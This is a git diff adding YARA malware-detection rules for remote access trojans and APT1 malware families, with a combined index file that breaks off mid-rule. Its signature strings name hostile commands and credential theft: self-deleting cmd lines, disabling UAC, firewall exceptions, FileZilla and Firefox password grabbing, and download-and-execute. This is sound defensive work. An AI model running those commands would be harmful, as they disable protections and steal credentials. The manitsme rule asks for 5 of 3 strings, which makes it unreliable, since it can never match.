+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/njRat"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+ 
+	strings:
+
+		$s1 = {7C 00 27 00 7C 00 27 00 7C} // |'|'|
+		$s2 = "netsh firewall add allowedprogram" wide
+		$s3 = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" wide
+		$s4 = "yyyy-MM-dd" wide
+
+		$v1 = "cmd.exe /k ping 0 & del" wide
+		$v2 = "cmd.exe /c ping 127.0.0.1 & del" wide
+		$v3 = "cmd.exe /c ping 0 -n 2 & del" wide
+
+
+	condition:
+		all of ($s*) and any of ($v*)
+}
+
+rule Pandora
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/Pandora"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+	strings:
+		$a = "Can't get the Windows version"
+		$b = "=M=Q=U=Y=]=a=e=i=m=q=u=y=}="
+		$c = "JPEG error #%d" wide
+		$d = "Cannot assign a %s to a %s" wide
+		$g = "%s, ProgID:"
+		$h = "clave"
+		$i = "Shell_TrayWnd"
+		$j = "melt.bat"
+		$k = "\\StubPath"
+		$l = "\\logs.dat"
+		$m = "1027|Operation has been canceled!"
+		$n = "466|You need to plug-in! Double click to install... |"
+		$0 = "33|[Keylogger Not Activated!]"
+
+	condition:
+		all of them
+}
+
+rule Paradox
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/Paradox"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+	strings:
+		$a = "ParadoxRAT"
+		$b = "Form1"
+		$c = "StartRMCam"
+		$d = "Flooders"
+		$e = "SlowLaris"
+		$f = "SHITEMID"
+		$g = "set_Remote_Chat"
+
+	condition:
+		all of them
+}
+
+rule PoisonIvy
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/PoisonIvy"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+    strings:
+    	$stub = {04 08 00 53 74 75 62 50 61 74 68 18 04}
+        $string1 = "CONNECT %s:%i HTTP/1.0"
+        $string2 = "ws2_32"
+        $string3 = "cks=u"
+        $string4 = "thj@h"
+        $string5 = "advpack"
+    condition:
+		$stub at 0x1620 and all of ($string*) or (all of them)
+}
+
+rule Punisher
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/Punisher"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+	strings:
+		$a = "abccba"
+		$b = {5C 00 68 00 66 00 68 00 2E 00 76 00 62 00 73}
+		$c = {5C 00 73 00 63 00 2E 00 76 00 62 00 73}
+		$d = "SpyTheSpy" wide ascii
+		$e = "wireshark" wide
+		$f = "apateDNS" wide
+		$g = "abccbaDanabccb"
+
+	condition:
+		all of them
+}
+
+rule PythoRAT
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/PythoRAT"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+	strings:
+		$a = "TKeylogger"
+		$b = "uFileTransfer"
+		$c = "TTDownload"
+		$d = "SETTINGS"
+		$e = "Unknown" wide
+		$f = "#@#@#"
+		$g = "PluginData"
+		$i = "OnPluginMessage"
+
+	condition:
+		all of them
+}
+
+
+rule ShadowTech
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/ShadowTech"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+	strings:
+		$a = "ShadowTech" nocase
+		$b = "DownloadContainer"
+		$c = "MySettings"
+		$d = "System.Configuration"
+		$newline = "#-@NewLine@-#" wide
+		$split = "pSIL" wide
+		$key = "ESIL" wide
+
+	condition:
+		4 of them
+}
+
+rule SmallNet
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/SmallNet"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+		
+	strings:
+		$split1 = "!!<3SAFIA<3!!"
+		$split2 = "!!ElMattadorDz!!"
+		$a1 = "stub_2.Properties"
+		$a2 = "stub.exe" wide
+		$a3 = "get_CurrentDomain"
+
+	condition:
+		($split1 or $split2) and (all of ($a*))
+}
+
+rule SpyGate
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/SpyGate"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+	strings:
+		$split = "abccba"
+		$a1 = "abccbaSpyGateRATabccba" //$a = Version 0.2.6
+		$a2 = "StubX.pdb" 
+		$a3 = "abccbaDanabccb"
+		$b1 = "monikerString" nocase //$b = Version 2.0
+		$b2 = "virustotal1"
+		$b3 = "get_CurrentDomain"
+		$c1 = "shutdowncomputer" wide //$c = Version 2.9
+		$c2 = "shutdown -r -t 00" wide
+		$c3 = "set cdaudio door closed" wide
+		$c4 = "FileManagerSplit" wide
+		$c5 = "Chating With >> [~Hacker~]" wide
+
+	condition:
+		(all of ($a*) and #split > 40) or (all of ($b*) and #split > 10) or (all of ($c*))
+}
+
+rule Sub7Nation
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/Sub7Nation"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+	strings:
+		$a = "EnableLUA /t REG_DWORD /d 0 /f"
+		$b = "*A01*"
+		$c = "*A02*"
+		$d = "*A03*"
+		$e = "*A04*"	
+		$f = "*A05*"
+		$g = "*A06*"
+		$h = "#@#@#"
+		$i = "HostSettings"
+		$verSpecific1 = "sevane.tmp"
+		$verSpecific2 = "cmd_.bat"
+		$verSpecific3 = "a2b7c3d7e4"
+		$verSpecific4 = "cmd.dll"
+
+		
+	condition:
+		all of them
+}
+
+rule unrecom
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/AAR"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+	strings:
+		$meta = "META-INF"
+		$conf = "load/ID"
+		$a = "load/JarMain.class"
+		$b = "load/MANIFEST.MF"
+        $c = "plugins/UnrecomServer.class"
+
+	condition:
+		all of them
+}
+
+rule Vertex
+{
+
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/Vertex"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+	strings:
+		$string1 = "DEFPATH"
+		$string2 = "HKNAME"
+		$string3 = "HPORT"
+		$string4 = "INSTALL"
+		$string5 = "IPATH"
+		$string6 = "MUTEX"
+		$res1 = "PANELPATH"
+		$res2 = "ROOTURL"
+
+	condition:
+		all of them
+}
+
+rule VirusRat
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/VirusRat"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+	strings:
+		$string0 = "virustotal"
+		$string1 = "virusscan"
+		$string2 = "abccba"
+		$string3 = "pronoip"
+		$string4 = "streamWebcam"
+		$string5 = "DOMAIN_PASSWORD"
+		$string6 = "Stub.Form1.resources"
+		$string7 = "ftp://{0}@{1}" wide
+		$string8 = "SELECT * FROM moz_logins" wide
+		$string9 = "SELECT * FROM moz_disabledHosts" wide
+		$string10 = "DynDNS\\Updater\\config.dyndns" wide
+		$string11 = "|BawaneH|" wide
+
+	condition:
+		all of them
+}
+
+rule Xena
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2015/06"
+		ref = "http://malwareconfig.com/stats/Xena"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+	strings:
+		$a = "HuntHTTPDownload"
+		$b = "KuInstallation"
+		$c = "PcnRawinput"
+		$d = "untCMDList"
+		$e = "%uWebcam"
+		$f = "KACMConvertor"
+		$g = "$VarUtils"
+        $h = "****##"
+
+	condition:
+		all of them
+}
+
+rule xRAT
+{
+    meta:
+        author = " Kevin Breen <kevin@techanarchy.net>"
+        date = "2014/04"
+        ref = "http://malwareconfig.com/stats/xRat"
+        maltype = "Remote Access Trojan"
+        filetype = "exe"
+
+    strings:
+        $v1a = "DecodeProductKey"
+        $v1b = "StartHTTPFlood"
+        $v1c = "CodeKey"
+        $v1d = "MESSAGEBOX"
+        $v1e = "GetFilezillaPasswords"
+        $v1f = "DataIn"
+        $v1g = "UDPzSockets"
+        $v1h = {52 00 54 00 5F 00 52 00 43 00 44 00 41 00 54 00 41}
+
+        $v2a = "<URL>k__BackingField"
+        $v2b = "<RunHidden>k__BackingField"
+        $v2c = "DownloadAndExecute"
+        $v2d = "-CHECK & PING -n 2 127.0.0.1 & EXIT" wide
+        $v2e = "england.png" wide
+        $v2f = "Showed Messagebox" wide
+    condition:
+        all of ($v1*) or all of ($v2*)
+}
+
+rule Xtreme
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/Xtreme"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+		ver = "2.9, 3.1, 3.2, 3.5"
+
+	strings:
+		$a = "XTREME" wide
+		$b = "ServerStarted" wide
+		$c = "XtremeKeylogger" wide
+		$d = "x.html" wide
+		$e = "Xtreme RAT" wide
+
+	condition:
+		all of them
+}
diff --git a/yara-mikesxrs/kevthehermit/njRat.yar b/yara-mikesxrs/kevthehermit/njRat.yar
new file mode 100644
index 0000000..f795b0d
--- /dev/null
+++ b/yara-mikesxrs/kevthehermit/njRat.yar
@@ -0,0 +1,24 @@
+rule njRat
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/njRat"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+ 
+	strings:
+
+		$s1 = {7C 00 27 00 7C 00 27 00 7C} // |'|'|
+		$s2 = "netsh firewall add allowedprogram" wide
+		$s3 = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" wide
+		$s4 = "yyyy-MM-dd" wide
+
+		$v1 = "cmd.exe /k ping 0 & del" wide
+		$v2 = "cmd.exe /c ping 127.0.0.1 & del" wide
+		$v3 = "cmd.exe /c ping 0 -n 2 & del" wide
+
+
+	condition:
+		all of ($s*) and any of ($v*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/kevthehermit/unrecom.yar b/yara-mikesxrs/kevthehermit/unrecom.yar
new file mode 100644
index 0000000..7c9f197
--- /dev/null
+++ b/yara-mikesxrs/kevthehermit/unrecom.yar
@@ -0,0 +1,19 @@
+rule unrecom
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/AAR"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+	strings:
+		$meta = "META-INF"
+		$conf = "load/ID"
+		$a = "load/JarMain.class"
+		$b = "load/MANIFEST.MF"
+        $c = "plugins/UnrecomServer.class"
+
+	condition:
+		all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/kevthehermit/xRAT.yar b/yara-mikesxrs/kevthehermit/xRAT.yar
new file mode 100644
index 0000000..0dfceea
--- /dev/null
+++ b/yara-mikesxrs/kevthehermit/xRAT.yar
@@ -0,0 +1,28 @@
+rule xRAT
+{
+    meta:
+        author = " Kevin Breen <kevin@techanarchy.net>"
+        date = "2014/04"
+        ref = "http://malwareconfig.com/stats/xRat"
+        maltype = "Remote Access Trojan"
+        filetype = "exe"
+
+    strings:
+        $v1a = "DecodeProductKey"
+        $v1b = "StartHTTPFlood"
+        $v1c = "CodeKey"
+        $v1d = "MESSAGEBOX"
+        $v1e = "GetFilezillaPasswords"
+        $v1f = "DataIn"
+        $v1g = "UDPzSockets"
+        $v1h = {52 00 54 00 5F 00 52 00 43 00 44 00 41 00 54 00 41}
+
+        $v2a = "<URL>k__BackingField"
+        $v2b = "<RunHidden>k__BackingField"
+        $v2c = "DownloadAndExecute"
+        $v2d = "-CHECK & PING -n 2 127.0.0.1 & EXIT" wide
+        $v2e = "england.png" wide
+        $v2f = "Showed Messagebox" wide
+    condition:
+        all of ($v1*) or all of ($v2*)
+}
diff --git a/yara-mikesxrs/malc0de/auriga_apt1.yar b/yara-mikesxrs/malc0de/auriga_apt1.yar
new file mode 100644
index 0000000..fe74557
--- /dev/null
+++ b/yara-mikesxrs/malc0de/auriga_apt1.yar
@@ -0,0 +1,11 @@
+rule auriga : apt
+{
+    strings:
+        $a = "%.2x%.2x-%.2x%.2x-%.2x%.2x-%.2x%.2x-%.2x%.2x-%.2x%.2x"
+        $b = "auriga"
+        $c = "McUpdate"
+        $d = "download"
+        $e = "upload"
+    condition:
+        filesize < 300KB and (5 of ($a,$b,$c,$d,$e))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/malc0de/bouncer2_exe_apt1.yar b/yara-mikesxrs/malc0de/bouncer2_exe_apt1.yar
new file mode 100644
index 0000000..d0d5b4f
--- /dev/null
+++ b/yara-mikesxrs/malc0de/bouncer2_exe_apt1.yar
@@ -0,0 +1,9 @@
+rule bouncer2_exe : apt
+{
+    strings:
+        $a = "asdfqwe123cxz"
+        $b = "dump"
+        $c = "loadlibrary kernel32 error %d"
+    condition:
+        filesize < 300KB and (3 of ($a,$b,$c))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/malc0de/bouncer_dll_apt1.yar b/yara-mikesxrs/malc0de/bouncer_dll_apt1.yar
new file mode 100644
index 0000000..38f724e
--- /dev/null
+++ b/yara-mikesxrs/malc0de/bouncer_dll_apt1.yar
@@ -0,0 +1,11 @@
+rule bouncer_dll : apt
+{
+    strings:
+        $a = "select"
+        $b = "%s: %s"
+        $c = "sa:%s"
+		$d = ";PWD="
+		$e = "Computer Numbers: %d"
+    condition:
+        filesize < 350KB and (5 of ($a,$b,$c,$d,$e))
+}
diff --git a/yara-mikesxrs/malc0de/bouncer_exe_apt1.yar b/yara-mikesxrs/malc0de/bouncer_exe_apt1.yar
new file mode 100644
index 0000000..ceee5e0
--- /dev/null
+++ b/yara-mikesxrs/malc0de/bouncer_exe_apt1.yar
@@ -0,0 +1,9 @@
+rule bouncer_exe : apt
+{
+    strings:
+        $a = "*Qd9kdgba33*%Wkda0Qd3kvn$*&><(*&%$E#%$#1234asdgKNAg@!gy565dtfbasdg"
+        $b = "dump"
+        $c = "IDR_DATA%d"
+    condition:
+        filesize < 300KB and (3 of ($a,$b,$c))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/malc0de/calendar_apt1.yar b/yara-mikesxrs/malc0de/calendar_apt1.yar
new file mode 100644
index 0000000..d9d51f6
--- /dev/null
+++ b/yara-mikesxrs/malc0de/calendar_apt1.yar
@@ -0,0 +1,11 @@
+rule calendar : apt
+{
+    strings:
+        $a = "DownRun success"
+        $b = "GoogleLogin auth="
+        $c = "%s@gmail.com"
+		$d = "log command"
+		$e = "%s: %s"
+    condition:
+        filesize < 300KB and (5 of ($a,$b,$c,$d,$e))
+}
diff --git a/yara-mikesxrs/malc0de/combos_apt1.yar b/yara-mikesxrs/malc0de/combos_apt1.yar
new file mode 100644
index 0000000..d25fb61
--- /dev/null
+++ b/yara-mikesxrs/malc0de/combos_apt1.yar
@@ -0,0 +1,11 @@
+rule combos : apt
+{
+    strings:
+        $a = "showthread.php?t="
+        $b = "Getfile"
+        $c = "Putfile"
+		$d = "file://"
+		$e = "https://%s"
+    condition:
+        filesize < 300KB and (5 of ($a,$b,$c,$d,$e))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/malc0de/cookiebag_apt1.yar b/yara-mikesxrs/malc0de/cookiebag_apt1.yar
new file mode 100644
index 0000000..7ae6648
--- /dev/null
+++ b/yara-mikesxrs/malc0de/cookiebag_apt1.yar
@@ -0,0 +1,11 @@
+rule cookiebag : apt
+{
+    strings:
+        $a = "?ID="
+        $b = ".asp"
+        $c = "clientkey"
+		$d = "GetCommand"
+		$e = "Set-Cookie:"
+    condition:
+        filesize < 100KB and (5 of ($a,$b,$c,$d,$e))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/malc0de/dairy_apt1.yar b/yara-mikesxrs/malc0de/dairy_apt1.yar
new file mode 100644
index 0000000..b045d99
--- /dev/null
+++ b/yara-mikesxrs/malc0de/dairy_apt1.yar
@@ -0,0 +1,11 @@
+rule dairy : apt
+{
+    strings:
+        $a = "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
+        $b = "Mozilla/4.0 (compatible; MSIE 7.0;)"
+        $c = "dir %temp%"
+		$d = "pklist"
+		$e = "pkkill"
+    condition:
+        filesize < 100KB and (5 of ($a,$b,$c,$d,$e))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/malc0de/gdocupload_apt1.yar b/yara-mikesxrs/malc0de/gdocupload_apt1.yar
new file mode 100644
index 0000000..ef816ef
--- /dev/null
+++ b/yara-mikesxrs/malc0de/gdocupload_apt1.yar
@@ -0,0 +1,11 @@
+rule gdocupload : apt
+{
+    strings:
+        $a = "CONOUT$"
+        $b = "length=%d,time=%fsec,speed=%fk"
+		$c = "%s%s%s"
+		$d = "http://docs.google.com/?auth="
+		$e = "x-fpp-command: 0"
+    condition:
+        filesize < 300KB and (5 of ($a,$b,$c,$d,$e))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/malc0de/getmail_apt1.yar b/yara-mikesxrs/malc0de/getmail_apt1.yar
new file mode 100644
index 0000000..624ac8f
--- /dev/null
+++ b/yara-mikesxrs/malc0de/getmail_apt1.yar
@@ -0,0 +1,11 @@
+rule getmail : apt
+{
+    strings:
+        $a = "Lu's Zany Message Store"
+        $b = "IP"
+		$c = "%s%i %s%i"
+		$d = "-c key too long(MAX=16)"
+		$e = "-f file name too long"
+    condition:
+        filesize < 300KB and (5 of ($a,$b,$c,$d,$e))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/malc0de/glooxmail_apt1.yar b/yara-mikesxrs/malc0de/glooxmail_apt1.yar
new file mode 100644
index 0000000..2448a44
--- /dev/null
+++ b/yara-mikesxrs/malc0de/glooxmail_apt1.yar
@@ -0,0 +1,9 @@
+rule glooxmail : apt
+{
+    strings:
+        $a = "This is gloox"
+        $b = "Getfile Abrot!"
+        $c = "glooxtest"
+    condition:
+        filesize < 100KB and (3 of ($a,$b,$c))
+}
diff --git a/yara-mikesxrs/malc0de/goggles_apt1.yar b/yara-mikesxrs/malc0de/goggles_apt1.yar
new file mode 100644
index 0000000..eaa5e3c
--- /dev/null
+++ b/yara-mikesxrs/malc0de/goggles_apt1.yar
@@ -0,0 +1,8 @@
+rule goggles : apt
+{
+    strings:
+        $a = "thequickbrownfxjmpsvalzydg"
+        $b = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; %s.%s)"
+    condition:
+        filesize < 200KB and (2 of ($a,$b))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/malc0de/greencat_apt1.yar b/yara-mikesxrs/malc0de/greencat_apt1.yar
new file mode 100644
index 0000000..4d39ca6
--- /dev/null
+++ b/yara-mikesxrs/malc0de/greencat_apt1.yar
@@ -0,0 +1,11 @@
+rule greencat : apt
+{
+    strings:
+        $a = "computer name:"
+        $b = "McUpdate"
+        $c = "%s\\%d.bmp"
+		$d = "version: %s v%d.%d build %d%s"
+		$e = "Ca Incert"
+    condition:
+        filesize < 300KB and (5 of ($a,$b,$c,$d,$e))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/malc0de/hacksfase_apt1.yar b/yara-mikesxrs/malc0de/hacksfase_apt1.yar
new file mode 100644
index 0000000..fdc06b1
--- /dev/null
+++ b/yara-mikesxrs/malc0de/hacksfase_apt1.yar
@@ -0,0 +1,9 @@
+rule hacksfase : apt
+{
+    strings:
+        $a = "!@#%$^#@!"
+        $b = "Cann't create remote process!"
+		$c = "tthacksfas@#$"
+    condition:
+        filesize < 300KB and (3 of ($a,$b,$c))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/malc0de/helauto_apt.yar b/yara-mikesxrs/malc0de/helauto_apt.yar
new file mode 100644
index 0000000..3c37ee0
--- /dev/null
+++ b/yara-mikesxrs/malc0de/helauto_apt.yar
@@ -0,0 +1,9 @@
+rule helauto : apt
+{
+    strings:
+        $a = "D-o-w-n-l-o-a-d-f-i-l-e%s******%d@@@@@@%d"
+        $b = "%*s %d %s"
+		$c = "cmd /c net stop RasAuto"
+    condition:
+        filesize < 100KB and (3 of ($a,$b,$c))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/malc0de/kurton_apt1.yar b/yara-mikesxrs/malc0de/kurton_apt1.yar
new file mode 100644
index 0000000..41b91a9
--- /dev/null
+++ b/yara-mikesxrs/malc0de/kurton_apt1.yar
@@ -0,0 +1,11 @@
+rule kurton : apt
+{
+    strings:
+        $a = "HttpsUp||"
+        $b = "!(*@)(!@PORT!(*@)(!@URL"
+        $c = "root\\%s"
+		$d = "HttpsFile||"
+		$e = "Config service %s ok"
+    condition:
+        filesize < 300KB and (5 of ($a,$b,$c,$d,$e))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/malc0de/lightbolt_apt1.yar b/yara-mikesxrs/malc0de/lightbolt_apt1.yar
new file mode 100644
index 0000000..dcc1fe0
--- /dev/null
+++ b/yara-mikesxrs/malc0de/lightbolt_apt1.yar
@@ -0,0 +1,11 @@
+rule lightbolt : apt
+{
+    strings:
+        $a = "bits.exe a all.jpg .\\ALL -hp%s"
+        $b = "The %s store has been opened"
+		$c = "Machine%d"
+		$d = "Service%d"
+		$e = "7z;ace;arj;bz2;cab;gz;jpeg;jpg;lha;lzh;mp3;rar;taz;tgz;z;zip"
+    condition:
+        filesize < 300KB and (5 of ($a,$b,$c,$d,$e))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/malc0de/lightdart_apt1.yar b/yara-mikesxrs/malc0de/lightdart_apt1.yar
new file mode 100644
index 0000000..a85c8bc
--- /dev/null
+++ b/yara-mikesxrs/malc0de/lightdart_apt1.yar
@@ -0,0 +1,11 @@
+rule lightdart : apt
+{
+    strings:
+        $a = "0123456789ABCDEF"
+        $b = "ErrCode=%ld"
+        $c = "ret.log"
+        $d = "Microsoft Internet Explorer 6.0"
+        $e = "szURL"
+    condition:
+        filesize < 200KB and (5 of ($a,$b,$c,$d,$e))
+}
diff --git a/yara-mikesxrs/malc0de/longrun_apt1.yar b/yara-mikesxrs/malc0de/longrun_apt1.yar
new file mode 100644
index 0000000..e85c69c
--- /dev/null
+++ b/yara-mikesxrs/malc0de/longrun_apt1.yar
@@ -0,0 +1,8 @@
+rule longrun : apt
+{
+    strings:
+        $a = "%s\\%c%c%c%c%c%c%c"
+        $b = "thequickbrownfxjmpsvalzydg"
+    condition:
+        filesize < 300KB and (2 of ($a,$b))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/malc0de/macromail_apt1.yar b/yara-mikesxrs/malc0de/macromail_apt1.yar
new file mode 100644
index 0000000..b2716a8
--- /dev/null
+++ b/yara-mikesxrs/malc0de/macromail_apt1.yar
@@ -0,0 +1,11 @@
+rule macromail : apt
+{
+    strings:
+        $a = "get ok %d"
+        $b = "put ok"
+        $c = "GW-IP="
+		$d = "messenger.hotmail.com"
+		$e = "<d n=\"%s\">"
+    condition:
+        filesize < 300KB and (5 of ($a,$b,$c,$d,$e))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/malc0de/malc0de_index.yara b/yara-mikesxrs/malc0de/malc0de_index.yara
new file mode 100644
index 0000000..4cfee9a
--- /dev/null
+++ b/yara-mikesxrs/malc0de/malc0de_index.yara
@@ -0,0 +1,503 @@
+rule auriga : apt
+{
+    strings:
+        $a = "%.2x%.2x-%.2x%.2x-%.2x%.2x-%.2x%.2x-%.2x%.2x-%.2x%.2x"
+        $b = "auriga"
+        $c = "McUpdate"
+        $d = "download"
+        $e = "upload"
+    condition:
+        filesize < 300KB and (5 of ($a,$b,$c,$d,$e))
+}
+
+rule bouncer_dll : apt
+{
+    strings:
+        $a = "select"
+        $b = "%s: %s"
+        $c = "sa:%s"
+		$d = ";PWD="
+		$e = "Computer Numbers: %d"
+    condition:
+        filesize < 350KB and (5 of ($a,$b,$c,$d,$e))
+}
+
+rule bouncer_exe : apt
+{
+    strings:
+        $a = "*Qd9kdgba33*%Wkda0Qd3kvn$*&><(*&%$E#%$#1234asdgKNAg@!gy565dtfbasdg"
+        $b = "dump"
+        $c = "IDR_DATA%d"
+    condition:
+        filesize < 300KB and (3 of ($a,$b,$c))
+}
+
+rule bouncer2_exe : apt
+{
+    strings:
+        $a = "asdfqwe123cxz"
+        $b = "dump"
+        $c = "loadlibrary kernel32 error %d"
+    condition:
+        filesize < 300KB and (3 of ($a,$b,$c))
+}
+
+rule calendar : apt
+{
+    strings:
+        $a = "DownRun success"
+        $b = "GoogleLogin auth="
+        $c = "%s@gmail.com"
+		$d = "log command"
+		$e = "%s: %s"
+    condition:
+        filesize < 300KB and (5 of ($a,$b,$c,$d,$e))
+}
+
+rule combos : apt
+{
+    strings:
+        $a = "showthread.php?t="
+        $b = "Getfile"
+        $c = "Putfile"
+		$d = "file://"
+		$e = "https://%s"
+    condition:
+        filesize < 300KB and (5 of ($a,$b,$c,$d,$e))
+}
+
+rule cookiebag : apt
+{
+    strings:
+        $a = "?ID="
+        $b = ".asp"
+        $c = "clientkey"
+		$d = "GetCommand"
+		$e = "Set-Cookie:"
+  	condition:
+        filesize < 100KB and (5 of ($a,$b,$c,$d,$e))
+}
+
+rule dairy : apt
+{
+    strings:
+        $a = "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
+        $b = "Mozilla/4.0 (compatible; MSIE 7.0;)"
+        $c = "dir %temp%"
+		$d = "pklist"
+		$e = "pkkill"
+    condition:
+        filesize < 100KB and (5 of ($a,$b,$c,$d,$e))
+}
+
+rule gdocupload : apt
+{
+    strings:
+        $a = "CONOUT$"
+        $b = "length=%d,time=%fsec,speed=%fk"
+		$c = "%s%s%s"
+		$d = "http://docs.google.com/?auth="
+		$e = "x-fpp-command: 0"
+    condition:
+        filesize < 300KB and (5 of ($a,$b,$c,$d,$e))
+}
+
+rule getmail : apt
+{
+    strings:
+        $a = "Lu's Zany Message Store"
+        $b = "IP"
+		$c = "%s%i %s%i"
+		$d = "-c key too long(MAX=16)"
+		$e = "-f file name too long"
+    condition:
+        filesize < 300KB and (5 of ($a,$b,$c,$d,$e))
+}
+
+
+rule glooxmail : apt
+{
+    strings:
+        $a = "This is gloox"
+        $b = "Getfile Abrot!"
+        $c = "glooxtest"
+    condition:
+        filesize < 100KB and (3 of ($a,$b,$c))
+}
+
+rule goggles : apt
+{
+    strings:
+        $a = "thequickbrownfxjmpsvalzydg"
+        $b = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; %s.%s)"
+    condition:
+        filesize < 200KB and (2 of ($a,$b))
+}
+
+rule greencat : apt
+{
+    strings:
+        $a = "computer name:"
+        $b = "McUpdate"
+        $c = "%s\\%d.bmp"
+		$d = "version: %s v%d.%d build %d%s"
+		$e = "Ca Incert"
+    condition:
+        filesize < 300KB and (5 of ($a,$b,$c,$d,$e))
+}
+
+rule hacksfase : apt
+{
+    strings:
+        $a = "!@#%$^#@!"
+        $b = "Cann't create remote process!"
+		$c = "tthacksfas@#$"
+    condition:
+        filesize < 300KB and (3 of ($a,$b,$c))
+}
+
+rule helauto : apt
+{
+    strings:
+        $a = "D-o-w-n-l-o-a-d-f-i-l-e%s******%d@@@@@@%d"
+        $b = "%*s %d %s"
+		$c = "cmd /c net stop RasAuto"
+    condition:
+        filesize < 100KB and (3 of ($a,$b,$c))
+}
+
+rule kurton : apt
+{
+    strings:
+        $a = "HttpsUp||"
+        $b = "!(*@)(!@PORT!(*@)(!@URL"
+        $c = "root\\%s"
+		$d = "HttpsFile||"
+		$e = "Config service %s ok"
+    condition:
+        filesize < 300KB and (5 of ($a,$b,$c,$d,$e))
+}
+
+
+rule lightbolt : apt
+{
+    strings:
+        $a = "bits.exe a all.jpg .\\ALL -hp%s"
+        $b = "The %s store has been opened"
+		$c = "Machine%d"
+		$d = "Service%d"
+		$e = "7z;ace;arj;bz2;cab;gz;jpeg;jpg;lha;lzh;mp3;rar;taz;tgz;z;zip"
+    condition:
+        filesize < 300KB and (5 of ($a,$b,$c,$d,$e))
+}
+
+rule lightdart : apt
+{
+    strings:
+        $a = "0123456789ABCDEF"
+        $b = "ErrCode=%ld"
+        $c = "ret.log"
+        $d = "Microsoft Internet Explorer 6.0"
+        $e = "szURL"
+    condition:
+        filesize < 200KB and (5 of ($a,$b,$c,$d,$e))
+}
+
+rule longrun : apt
+{
+    strings:
+        $a = "%s\\%c%c%c%c%c%c%c"
+        $b = "thequickbrownfxjmpsvalzydg"
+    condition:
+        filesize < 300KB and (2 of ($a,$b))
+}
+
+rule macromail : apt
+{
+    strings:
+        $a = "get ok %d"
+        $b = "put ok"
+        $c = "GW-IP="
+		$d = "messenger.hotmail.com"
+		$e = "<d n=\"%s\">"
+    condition:
+        filesize < 300KB and (5 of ($a,$b,$c,$d,$e))
+}
+
+rule manitsme : apt
+{
+    strings:
+        $a = "rouji"
+        $b = "Visual Studio"
+        $c = "UglyGorilla"
+    condition:
+        filesize < 300KB and (5 of ($a,$b,$c))
+}
+
+rule mapiget : apt
+{
+    strings:
